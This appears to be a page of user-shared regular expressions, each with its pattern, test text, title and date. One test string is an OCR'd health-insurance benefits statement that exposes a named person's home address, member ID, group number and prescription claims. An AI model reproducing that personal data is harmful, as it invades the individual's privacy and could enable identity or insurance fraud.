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^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$
Email Validation
2018-01-31T12:49:30.000Z
(?U)\s*<key>GA\X*<\/dict>
<dict> <key>account.logout</key> <dict> <key>GA</key> <dict> <key>action</key> <string>ButtonPressed</string> <key>category</key> <string>Account</string> <key>label</key> <string>Logout</string> </dict> <key>MP</key> <dict> <key>name</key> <string>account logged out</string> <key>people</key> <dict> <key>__set__</key> <dict> <key>logged into account</key> <false/> </dict> </dict> <key>properties</key> <dict> <key>_flow</key> <string>login</string> </dict> </dict> <key>ABOY</key> <dict> <key>name</key> <string>account_logout_free2move</string> <key>people</key> <dict> <key>logged_in_to_free2move</key> <false/> </dict> </dict> </dict> <key>account.notification.create.facebook</key> <dict> <key>GA</key> <dict> <key>action</key> <string>ButtonPressed</string> <key>category</key> <string>Account</string> <key>label</key> <string>Create Facebook</string> </dict> <key>MP</key> <dict> <key>name</key> <string>create account pressed</string> <key>properties</key> <dict> <key>_account_type</key> <string>facebook</string> <key>_flow</key> <string>login</string> </dict> </dict> </dict> <key>account.notification.create.success.facebook</key> <dict> <key>GA</key> <dict> <key>action</key> <string>AccountCreatedSuccessful</string> <key>category</key> <string>Account</string> <key>label</key> <string>Facebook</string> </dict> <key>MP</key> <dict> <key>name</key> <string>create account success</string> <key>people</key> <dict> <key>__set__</key> <dict> <key>account type</key> <string>facebook</string> <key>logged into account</key> <true/> </dict> <key>__set_current_timestamp__</key> <string>last logged in account</string> </dict> <key>properties</key> <dict> <key>_account_type</key> <string>facebook</string> <key>_flow</key> <string>account</string> </dict> </dict> <key>ABOY</key> <dict> <key>name</key> <string>account_created_free2move</string> <key>people</key> <dict> <key>logged_in_to_free2move</key> <true/> <key>has_free2move_account</key> <true/> </dict> <key>properties</key> <dict> <key>account_type</key> <string>facebook</string> </dict> </dict> </dict> <key>account.notification.declined</key> <dict> <key>GA</key> <dict> <key>action</key> <string>ButtonPressed</string> <key>category</key> <string>Account</string> <key>label</key> <string>Later</string> </dict> <key>MP</key> <dict> <key>name</key> <string>later pressed</string> <key>properties</key> <dict> <key>_flow</key> <string>account</string> </dict> </dict> </dict> <key>account.notification.shown</key> <dict> <key>GA</key> <dict> <key>action</key> <string>DialogueShown</string> <key>category</key>
XML: find full entry for specific key type
2018-11-21T13:32:30.000Z
[\s]+([A-Z]+[a-z]++[,][\s])
Georgiana, Mary Louise Gettemy, Blanche Getz, Donald Eugene Gibboney, Josephine Marie Giffin. Harriet Vivian Gill, Marjorie Rita Gill. Dorothy Elizabeth Margherita Gioiosa. Audrey Gleichert, Annabelle Louise Glenn, Ethel Louise Glenn, David R. Good, Peggy Louise Good. Frank Edward Goodman, Jr., Ray L. Goodman, Eleanore Jane Gorsuch, Richard S. Goshen, Oliver E. Graffius, Max R. Gram- ly. Eunice Mae Granville. Clifford Harry Gray, Marian Elizabeth Gray, Sara Jean Gray, Jeanne Lovina Grazier. . Dorothy Elizabeth Green. Doris Marie Greene, Gertrude Elizabeth Greiner, Virginia M. Greiner, Hazel A. Griffith, Sarah Lee Grimshaw, Dottie Louise Grove, Helen Almeda Grove, Jean. Jie Louise Grove, William Sharr.n Grove, Pauline Antoinette Gug-liotta, Harold Frederick Gundei, Helen Gertrude Gundei, Edythe Irene Gunesch, Louise Alma Gun- eallus, Robert Wesley Gutshali. Lillian Esther Haberstroh, Dorothy Jean Hack. Harry Haines, Jr. Paul Francis Hainley, David L. L. Hall, Helen Beatrice Hall, Phyllig Joyc. Hall, Anna Marjorie Hailer, Frank L. Hamer. Sarah Louise Hamilton, Vivian Annetta Hammaker, Walter J. Hammer, Virginia Esther Hana-walt, Pauline Elizabeth Hancuff. Elvin E. Hanley, John Lee Harkenrider, Jack Harkless, Ida Josephine Harland, Jack G. Harlin, Stoy Ottig Harman. Willard Kistler Harnish, Albert Donald Harris, Betty Bell Harris Jesst Melvin Harris, Richarj Thomas Harris, Roxie Anna Harris, Ralph Derr Harrity, Eiieen Hart, Dale Charles Harten, Janet Louise Harten, Alice Jane Har.-sock, Thomas Eldon Hislett, James Lewis Hatch, Bessie Mae Haupt, Bernadine L. Hawn, Peggy Heaps, Ellis Theodore L. Hed-berg. Sara Elizabeth Heinbaugh, Flora Cardinal Heist, Dorothy M. Heller, Ear Randell Helsel, Graham W. Helsel. Naomi Genevieve Helsel, Wanda Gertrude Helsel, William Richard Hennigan, Charles Wayne Henry, Naomi Jean Herbert, Robert Rogers Herr, Ann Marie Hess, Martha . Hicks, Richard Joseph Higgins, Alden Frederick Hile-man, Dorothy Marie Hileman, John Stuart Hileman, Allene Mar ie Hill, Dorothy Winifred Hippo, Alice Frances Hirst, Charles John Hoefler, Allan Milton Hoffman, Charles H. Hoffman, Cleo Louise Hoffman, Winifred Ore Lee Hoff man, George William Hogue, Jr., Robert Leroy Holdeman, Elsie Marion Hollingsworth, Vincent Clair Hooper, Constance Hoover. Alvin Merle Horton, Betty Louise Horton, Richard Ernest Hostler. Dalton Edward Householder, Gretchen L. Houser, Helen Vir-srinia Housner. Florence Vivian Houston, John Robert Housum, George D. Hower, Helen Louise Huber. Paul Mark Huebner, Mar garet Ann Hughes, John L. Hume, Bettv Humerick. Elsie M. Hum. Bettv Jane Ihm, Jonn Meivin Ihm, Gladys A. Ingham, isaivaaore Rocco Iovannone, Wilbur Edwin Irvin. Victor Anthony Iuliano, J. Edmund Ivory. JoseDh Jacobs. Wilbur tr. Jami son, Albert John Janosik, Joseph Michael Jerkiewicz, Mary Eliza beth Jeffries. Joseph John Jerk- ovitz, Edwin George Johnson, Har ry Curry Johnson, Miriam Louise Johnson. Jack Jones, Jr., Bernard James Joyce. Sarah Irene Kantner. J. Mareuret Karle, Beatrice Viola Kauffman, Peggy Rosalie Kauffman, Robert Logan Kauff man, Brooks D. Kauffman, Wil liam R. Kauffmann, Virginia Elizabeth Kay. Bette Jan. Kaylor, Mary Eliza beth Keagy, Myrtle Clara Keagy, Dorothv M. Kearns, William Jo- ReDh Keen Frances Aileen Keech, Constance Louise Keirn, Jean Lo uise Keith, George Arthur Keller, Mervin Edward Keller, Marie Kathryn Kelley, Lawrence Robert Kells. Emilv Rose Kelly, Mary Elizabeth Kembeiling, Janet Mar ie Kemmler, Betty Irene Kensing- er. Marjorie Jean Ketrow. Martha Yvonne Kibler, Wini- fie.M Kile-ore. Gertrude Agnes Kimmel, William P. Kimmel. Rohei Nelson King\r\nWilliam Kinnev. Phyllis Patricia Kiser\r\nThaddeus J. Kisielnicki. Paul Harrv Kleffel. Ruth Kath leen Kline. Flovd Blair Knipple\r\nJr.\r\nDorothy KniseQ\r\nVivian Mar ti Knote. Helen Man. Koch\r\ni'aui Michael Koch\r\nHerman J. Koest. ner Pauline Marie Kolbenschlag\r\nNela Jean Koontz. Edward L. Kough\r\nGeorge Koury\r\nChristine Paula Kowell\r\nJean Elizabeth Kozam\r\nmarina Ellen Kraft, Charles Edward Kramer. Robert Daniel Kreider, Kenneth M. Krise, Harriet Sue Kromberg, Bernice Arline Kunn, Melvin Floyd Kuhn, Roy Earl Kunkle. John F. Kunstbeck, Bette Flor- ine Kyle. Norma Madeline LaCava, fns- cilla M. Laing. F. Luella Langer, Betty Lang- guth, Warren Elwood Lantz. Minnie Marv Laratonda, Velda Betty Lasher, Betty Jane Lathero, David Lattieri. Glenn Francis Laughlin, Robert David Laughlin, Joseph Lawruk, Marjorie Rose Leasure, John Albert Leberfinger, Clement George Lehrsch, Paul Vincent Leidy, Mary Jane Lemme, John Richard Leonard, Virginia Ann Lepore. Arnold Robert Levine. Doris B. Lewis. Dorothv L. Lewis. Herbert Clyde Lewis, Naomi Etter Ley, Alya Anne Lickel, Bertha Mae Lal- Erma Delores Lindemer Rulh Ellen Lindie, Idabelle Lingenfelt-er. Pearl Aurirev T,inffpnflttr Carmen Elayne Little, Mary Dolores Livot, Elizabeth Jane Lock-ard, Raymond Earl Lockard, Cla ra cridget Loeb. Bettv Loin Rdni T r, r Hazel Trene ..B , wt a, ivuvii Long, Shirley Long, Esther Eliza- uem iouaensiager, John Emanu-ei Love, Olivette Eleanor Love, Norma E. Lowey. Dennis Gordon Loynes, Stella Josephine Lozinski, Raymond S. Luke, Joseph Lurie, Raymond Arthur Luther, Kennt:i B. Lyk-ens, Lillie Irene Lyktns. Virginia Maa Lytle. Catherine Elizabeth McAllister, James Arthur McCall, Robert E. McCartney, Jr., Thomas W. Mc-Clellan. Anna Elizabeth McCormick. Margaret Mary McCracken, Joseph Edward McCulloch, E. Grace McDowell, John Dean McDowell, Virginia Anne McDowell, Pauline McGarvey, Leon Russel McGeary, Mildred Alice McGirk. Eugene E. McGregorf Helen Louise McGregor, John Fiske Mc-Hugh, Clara Elizabeth McKee, Constance Lucille McKnight, Robert F. McManamy, Eleanor Jeanne McMinn, Dorothy Mae McMonigal. Jane McMamara, Mary Elizabeth McNerling. Raymond F. cQuade. Betty Jayne Mackey, Helen Elizabeth Mackey. Patsy Albert Mainello, Yolanda Marie Maiorino, Samuel Guy Ma-lone, Rose Marie Mangiacarne. J. Warren Manley, Dorothy Mae Manning, Harold Mannion, Bette Lorraine Manspeaker, Kanalla Louise Marcus, John Lucas Marshall, Margaret A. Marshall, Frances Marie Marthoski, Albert Irvin Martin, Alice Rebecca Martin, Marjorie Maxine Martin, Carmel Mary Martino, Jack Duane Martz, Lyman Martz, George Joseph Maschke, Richard Joseph M. Mast-erson. Lena Patricia Masucci. Ken neth James Mater, Doris J. Hath- Helen Grace Mehaffie,' Michael John Melnick, Kenneth J. Mentch, William H. Mentch, Anna Gertrude Mentzer, Lois Elizabeth Mentzer, Robert Edwin Mentzer, Nad John Meredith, Belva Louise Merritt, Bertha Jean Metzger, Joseph Calvin Meyer, Betty Louise Mickel, Robert Doyle Mierley, Allen J. Miller. Charles Edward Miller, Dorothy Elizabeth Miller, Georgine Collins Miller, Jean Ann Miller, Joseph Calvin Miller, Lester A Marjorie Jane Miller, Miller, Samuel Ward Miller. John Joseph Misciagna. George Franklin Mock, Herbert Earl Mock, Ruth Evelyn Mock, Jane Lilian Moerschbacher, Ercole Ralph Moffa, Lena Mazie Mollica, Betty Jane Moore. Erraa Jean woreui, Marjorie Elizabeth Morgan, Patty Jean Morgan, Daniel Henry Moses, John M. Mottner, Alma Catherine Moyer. Josephine Muccitelli, Louis D. Muccitelli, Ernest M. Musselman, Marian M. Musselman, Marian Lucille Musser, Nancy Louise Mus-ser, James Porter Myers, Jr., Richard L. Myers. Betty Madeline Nader, Angela Petronilla Nagl. Marcella B. Naperkoski, Tony Joseph Nardella. Martha Audrey Neaffer, Elwood Clair Nearhoof, Lois Mae Near-hoof. Martha E. Neher, Jean Eleanor Nelson, Ruth Marie Neugebauer, Paul Joseph Nevedal, Imogene Fern Nicodemus, Josephine Naomi Nixon, Frank Edward Noel, Lela Audrey Noll. Madalyn Vera Noriis. Nellie North, Pauline Frances Novosel, Robert. Melvin Nowlen. Jack W. Ogden, Annastasia S. Olkowski, Dorothy Ollinger, Caroline Rose Orner, Jayne Kathleen Osner, Dorothy . Irene Ostrander, Dolores Catherine Oswald, Frances E. Oswald. Harry Leroy Otto, Jr. Marguerite Grace Overcash, Robert Roy Owens. Eva Jayne Packer, Winifred Patricia Paff- Helen E. Palovsky, Eva Bessie Panagos, James William Panos, Harry L. Parrish, Jr., June A. Parson, Virginia Ellen P arsons, Mary Jane Patronik, Amelia Marie Pavoni, Robert Ellsworth Pearce. Don Miguel Peoples, Matilda Mary Pepe. David Lee Peters, Retta Belle Peters, Ernest Leroy Peterson, Wayne Bennett Pheasant, Jayne Louise Phillips, Arthur Paul Piet-rolungo, Angeline Pietropaulo. Nellie Frances Piotrowski, Andrew Michael Pirro, Frances Kathryn Pizzino. Richard Anthony Plank Ra pearl Plummer, Leo Francs Plunket. Marcella Fiances Poppenwimei, Janice EUen Porta, Thelma Re-genia Porta, .Marjorie Butler Porte. , , Mary Elizabeth Porter. Roberta Elizabeth Porter, Frank Emanuel Prestipino, Webster 1. Pringle, T?eHv Louise Probst, Frank Xavi- er ProgL Viola Ann Prosperl, Jack Wayne Pruyn, Vincent A. Pucciar- ella Antoinette Virginia Pulici- chio. Bernice Marie Quirin, Charles Quirin. Betty J. Raber. Carley Mae Rager. Edward G. Raichle. Jeanne Beatrice Ramey, Michael Rapuano, David John Ben Roy Rath, Madalyn Louise Redline, Iris Adele Reed, Margaret Rebecca Reed, Richard Thomas Reed, Wallace E. Reed. Betty Jane Reid, Norma Helen Reish, Betty Louise Richards, F. Marguerite Richards, Ruth Fouse Richards, Dolores Jane Ricko, Grayce B. Rider, Lois Joan Riley, Marjorie Marie Riley, Edna Rita Riner, Anthony Rlspoli. Germaine Ritchey. Rosie Dorothy Rizzo, Mary Edna Robinson, Dolores Corrone, Robison, James Joseph Rock, Lu cille Minerva Rockey, Robert Rod- gers, Caroline C. Roefaro, Elizabeth June Rohe Roy W. Rom-berger, Dolores Jane Rorabaugh, Frank Vincent Roscio, Irene Lois "r ir . . sc, margaret jean nosenDerg- er, Charles Ulysses Ross, Jr., Lois E. Ross. Rosalie Margaret Rosskopf, H. Lloyd Roudabush, Nina Ruth Rouzer. Joseph B. Ruberto. Marie Antoinette Rubino, Der-wood Calvin, Rudasill, Paul B. Runyen, Esther Lorraine Run-yeon, Jeanne Anne Runyeon, Marjorie Ruth Rupe, Mary Louise Rupert, Marcella M. Russell, Walter Kenneth Russel, Patricia Margaret Ryan. Edward L. Sabatina, Elizabeth Helen Samuels, William J. Sanders, Rose Marie Savine, Matilda Savino, Horace S. Saylor," Marian Saylor, Warren Clyde Schadle, Dolores Marie Schaefer, Theresa Sophie Schamris, Martha Anna Schauer. Mary Patricia Schell, Herbert Anthony Scherzinger. Richard Lewis Schlehr, Ruth Ella Schoening, Conrad Edgar Schorner, Ernest Joseph Schorner, Dorothy Marguerite Schroeder, Leroy Arthur Schroth, Sidney Schulman, Yale Schulman, Gertrude Conisea Schultz, Melvin Charles Schwartz, William Thomas Sciarrilla, Shirley Ann Scott, Vivian M. Scott, Walter Douglas Scott, Nellie Jane Secse, Eleanor Mae Seidel, Louis William Seidel, Helen Jeanne Selwitz, Edith Rose Ser-venti, Sarah Elizabeth Shaal, Kermit Nelson Shaffer, Fred Shaheen. John Paul Sharer, Richard W. Sharer, Thomas William Sharrar. Virginia E. Shartle, Stewart Dean Shaver, Phyllis Elaine Shaw, Leo-na Marguerite Shellenberger, Laurence Nelson Shelley. Sara Jan. Shollar, Gloria Marie Shortino. Marie Jane Shubert. Betty Marguerite Shull, Mary Elizabeth
Last Name & Comma Regex
2018-04-21T02:31:28.000Z
It skips the whole line if it contains searched string
^((?!hello).)*$
Foo/hello Foo/should work Foo/boo
Negative lookup
2018-06-06T14:44:06.000Z
for a comp arch assembler
([a-zA-z]+)(\s+)(\$(?:\w+))+(\s+|\n)
PUSH $fp POP $r1 LOAD $r0, 0x05 STORE $r1, 0x10 RDIO $r2 WRIO $r3 ADD $r0,$r1,$r2 ADD $r0,$r1, 2 ADDI $r4,0xDE SUB $r2, $r1, $r0 LSL $r2, $r3, 5 LSR $r2, $r0, 4 AND $r1, $r2, $r2 AND $r1, $r2, 0x0 ANDI $r1,0x0 OR $r1, $r3, $r2 OR $r1, $r2, 0x0 ORI $r1,0x010 XOR $r1, $r3, $r2 XOR $r1, $r2, 0x0 XORI $r1,0x010 NOT $r1, $r2 JMP lol JMP 0xBEEF JEQ kek JRH 0x1337 JRZ deez JRZ 0x0420 JPRC $ra, a_little_trolling JRET $ra MFC $k0, $r1 MTC $cs, $r0 KRET $ePC
r-type single register
2021-05-15T06:13:16.000Z
{"comments":".*","country":"[A-Z]{2}","ctyhocns":\[\S*\],"emailAddress":"\S*","homeAddress":".*","name":{"firstName":".*","lastName":".*"},"phoneNumber":".*","relationshipWithHilton":{"contractorSupplierVendor":(true|false),"formerTeamMemberId":".*","gymOrSpaMember":(true|false),"hhonorsNumber":".*","hotelVisitor":(true|false),"other":(true|false),"registeredHotelGuest":(true|false),"teamMemberId":".*","unregisteredHotelGuest":(true|false)},"request":{"access":(true|false),"correct":(true|false),"get":(true|false),"object":(true|false),"remove":(true|false),"requestComments":".*","restrict":(true|false),"withdraw":(true|false)},"requestForSomeoneElse":(true|false)}
DSRImport
2018-06-10T09:33:30.000Z
(?<=foo)bar
foobar fuubar
Replace word
2020-03-27T11:57:23.000Z
\b(?<=class=\")[^"]+(?=\")
<div class="hero-slider_control-wrap bot-element"> <div class="hero-slider_control hero-slider-button-next"> <span> Next <i class="fal fa-angle-right"></i> </span> </div> <div class="hero-slider_control hero-slider-button-prev"> <span> <i class="fal fa-angle-left"></i> Prev </span> </div> </div>
HTML Attribute Value
2020-09-23T08:05:26.000Z
Find Field Between Two Tokens
\d{0,15}(?= \sClaim)
S WB-03482'05'016867-M0-16130~311•AFUS 22SYCP UnitedHealthcarel)JAl>ft<I-~~ United HealthCare Services;.. Inc. GREENSBORO SERVICE 1..,ENTER PO BOX 740809 May 09, 2016 ATLANTA.., GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2016 Annual (-)Applied to (=)Remaining JEFFREY Amount Date Balance Relationship: EE ,IN NETWORK Deductible $700.00 $700.00 Met Out of Pocket $5,000.00 $5,000.00 Met QLIT,OF ftJETWf.)RK Deductible $1,400.00 $577.00 $823.00 Out of Pocket $7,500.00 $0.00 $7,500.00 Definitions of Ke}! Terms _ Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year: The dates your plan benefit maximums are applicable. Annual (-)Applied to (=)Remaining FAMILY Amount Date Balance IN NETWORK ,,. _,," -~t, ;•, ' Deductible $1,400.00 $700.00 $700.00 Out of Pocket $10,000.00 $5,000.00 $5,000.00 OUT OF NETWORK Deductible $2,800.00 $0.00 $2,800.00 $15,000.00 S0.00 $15,000.00 Out of Pocket Copay: A fee you pay each time you see a provider, receive a service, or fill a prescription. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. STO-EOB Page 9 of9 SWB-03462"04-016866-MQ.16130-60311-AFUS 22SYCP UnitedHealthcare IWA~~c......., United HealthCare Services,.. Inc. GREENSBORO SERVICE 1.,ENTER May 09, 2016PO BOX 740809 ATLANTAA GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infom1ation. Consumer Protection (111-1A) 333 Guadalupe P.O. Box 149091 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an ID card, refill prescriptions if eligible, obtain more infom1ation on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The infom1ation required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal infom1ation is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code infom1ation regarding the services referenced in this communication. STD-EOB Use this EOB statement as a reference or retain as needed Page 8 of 9 000000973566081 SWB-03482"04'018666-M0-181:l0-60311-AFUS 22SYCP United HealthCare Services;.. Inc. May 09, 2016 GREENSBORO SERVICE 1..,ENTER PO BOX 740809 ATLANTA.,, GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infonnation. Claim Detail for JEFFREY DAMUKAITIS Patient Account Number: CAR PHARMACY CLM Provider: Pharmacy Claim Number: 965402011801 Your Itemized Res onsibilit to Provider.. Date(s) of Type of Service Service Notes* Amount Billed (-) IPlan YourPl'an Discounts H! -: Paid (=) Deductible (+) Amount You Copay (+) Coin~urance (+) Non Covered (=) Owe 05/05/2016 PRESCRIPTION DRUGS FB $0.00 $0.00 $0.00 Claim Total: $0.00 $0.00 $0.00 $0.00 $341.39 $0.00 $0.00 $341.39 **This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Notes* FB -THIS CLAIM WAS PROCESSED BY THE PHARMACY DRUG BENEFIT PROGRAM. THIS ONLY SHOWS THE AMOUNT YOU PAID FOR THIS PRESCRIPTION. IT DOES NOT SHOW THE TOTAL COST OF THE PRESCRIPTION DRUG OR AMOUNT PAID BY THE PLAN. WE APPLIED THIS AMOUNT TO YOUR PLAN DEDUCTIBLE AND/OR OUT OF POCKET/COINSURANCE MAXIMUM. IF YOU HAVE QUESTIONS RELATED TO THIS PHARMACY CLAIM, PLEASE CONTACT YOUR PHARMACY DRUG BENEFIT PROGRAM. A review of this benefit detennination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P .0. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authofized representative, such as afamily member or physician, may appeal the decision by submitting comments, documents or other relevant infonnation to the appeal address referenced above. You may request copies (free of charge) of infonnation relevant to your claim by contacting us at the above address. Availability of ConsumerAssistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Page 7 of9 STD-EOB S WB.03482"03"016884-M0-16130-&1311-AFUS 22SYCP UnitedHealthcare llJ A"""'-~""­ United HealthCare Services;..Inc. GREENSBORO SERVICE 1..,ENTERPO BOX 740809 May 09, 2016 ATLANTA"' GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit infonnation. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 965303004401 Patient Account Number: CAR PHARMACY CLM Date(s) of Type of Service Notes• Amount Plan Vour Plan Service Billed (-) Discounts (-) Paid 05/03/2016 PRESCRIPTION FB $0.00 $0.00 $0.00 DRUGS Claim Total: $0.00 $0.00 $0.00 Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 965303007201 Date(s) of Service Type of Service Notes• Amount Billed (-) Plan Discounts (-) Your Plan Paid 05/03/2016 PRESCRIPTION DRUGS Claim Total: FB $0.00 $0,00 $0.00 $0.00 $0.00 $0.00 STD-EOB Use this EOB statement as a reference or retain as needed Page 6 of9 000000973566081 S WB-03482'03'016863,M0,1B130-60311 •Al'US 22SYCP United HealthCare Services;..Inc. May 09, 2016 GREENSBORO SERVICE 1.JENTER PO BOX 740809 ATLANTA.,,.GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 965153247601 Patient Account Number: CAR PHARMACY CLM Date(s) of Type of Service Notes* Amount Plan YourfPlan Service Billed (-) Discounts (-) t Pa.id .•~ 1(->) 05/02/2016 PRESCRIPTION FB $0.00 $0.00 $0.00 DRUGS Claim Total: $0.00 $0.00 $0.00 Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 965261198201 I, -­ Date(s) of Type-of Service Notes* Amount Plan ·· ·Your Pla'1 Service Billed (-) Discounts <-l ! . Paid, , 05/03/2016 PRESCRIPTION FB $0.00 $0.00 DRUGS Claim Total: $0.00 $0.00 ... This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Patient Account Number: CAR PHARMACY CLM **This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. STO-EOB Page 5 of 9 Use this EOB statement as a reference or retain as needed S WB.03482'02°016882•MCM8130-60311-AFUS 22SYCP , UnitedHealthcare ..~~'-" United HealthCare Services.,_ Inc. GREENSBORO SERVICE ..,ENTER May 09, 2016 PO BOX 740809 ATLANTA.._ GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit infom1ation. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 964905481401 Patient Account Number: CAR PHARMACY CLM Your Itemized Res onsibilit to Provider"'* Date(s) of Type of Service Notes* Amount Plan :Yo.!,ir Plan Amount You Service Billed (-) Discounts (-) Deductible (+) Copay (+) Coinsurance (+) Non Covered(=) Owe :\ Pild .. le=, 04/2912016 PRESCRIPTION FB $0.00 $0.00 $0.00 DRUGS Claim Total: $0.00 $0.00 $0.00 $0.00 $7.00 $0.00 $0.00 $7.00 **This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 965119425801 Patient Account Number: CAR PHARMACY CLM ! Date(s) of Type of Service Notes• Amount Plan , Your Plan Amount You Service Billed (-) Discounts (-) Paid (=~ Deductible (+) Copc1y (•) Coinsurance (T) Non Covered (=) Owe Please wait for a provider bill before making a payment. STD-EOB Page 4 of 9 Use this EOB statement as a reference or retain as needed 000000973566081 S WB-03482'1l2'1l16861-M0-16130-<i0311-AFUS 'ZlS'fCP United HealthCare Services;.. Inc. GREENSBORO SERVICE \,;ENTER May 09, 2016 PO BOX 740809 ATLANTA.a.GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infonnation. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 964896777101 Patient Account Number: CAR PHARMACY CLM Date(s) of Service Type of Service Notes• Amount Billed (·) Plan Discounts · Your Plan · (·) Paid Deductible Your Itemized Res onsibili to Provider•• Amount You (.,.) Cupay (+) Coinsurance (+) Non Covered(=) Owe 04/28/2016 PRESCRIPTION FB $0.00 $0.00 $0.00 DRUGS Claim Total: $0.00 $0.00 $0,00 $0.00 $7.00 $0.00 $0,00 $7.00 **This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 964905365301 Patient Account Number: CAR PHARMACY CLM Your Itemized Res onslbilit to Provider~ -~­ . ­ -Date(s) of Type of Service Notes* Amount-Plan -Your Plan . Amount Yo1.. Service Billed (-) Discounts (·) Paid -"'.(=) Deductible (+) Copay (+) Coinsurance (+) !\.on Covered (=) Owe ' 04/29/2016 PRESCRIPTION DRUGS FB $0.00 $0.00 $0.00 Clalm Total: $0.00 $0.00 $0.00 $0.00 $2.27 $0.00 $0.00 -This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. STO-EOB Page 3 of9 Use this EOB statement as a reference or retain as needed S WB-03482'01 '0168e0-t.40-16130-60311-AFUS 22SYCP United HealthCare SeJVices,1,.Inc. GREENSBORO SERVICE \.,ENTER May 09, 2016PO BOX 740809 ATLANTA.._ GA 30374-0802 Have more questions about your claim? Phone: 1-o00.638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 964875304601 Patient Account Number; CAR PHARMACY CLM Your Itemized Res onsiblli to Provider­ Date(s) of Type of Service Notes* Amount Plan -YourPtin Amount You Service Billed (-) Discounts (-)_ :: Paid ~~(=) Ueductible (+) Cupa,' (+) Coinsurance (+) Non Covered (-) Owe 04/28/2016 PRESCRIPTION FB $0.00 $0.00 $0.00 . O 7.00 0.0 DRUGS Claim Total: $0.00 $0.00 $0.00 $0.00 $7.00 $0.00 $0.00 ""'This total does not reflect any payments/ copays you made at the time ofservice. Please wait for a provider bill before making a payment. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 964875333901 Patient Account Number: CAR PHARMACY CLM Date(s) of Service Type of Service Notes• Amount Billed (-) Plan Discounts (-) . Your Plan Paid 04/28/2016 PRESCRIPTION DRUGS Claim Total: FB $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 STD-EOB Use this EOB statement as a reference or retain as needed Page 2 of 9 000000973566081 S WBl 3482'01"016859-M0-16130-80311-AFUS 22SYCP Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. United HealthCare Services, Inc. GREENSBORO SERVICE CENTEI~ PO BOX 740809 ATLANTA, GA 30374-0802 JEFFREY DAMUKAITIS 2201 WILLOW CREEK DRIVE LITTLE ELM, TX 75068 May 09, 2016 Member/Patient lnfonnation Member/Patient: JEFFREY DAMUKAITIS Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group#: 0201057 Explanation of Benefits tatement This is not a bill. Do not pay. This is to notify yoJ that we processed your claim. Claims Sum~ ary Detailed claim information is located bn the following page(s). DQlla_i""f'~~~ •t-~5; :?'1I 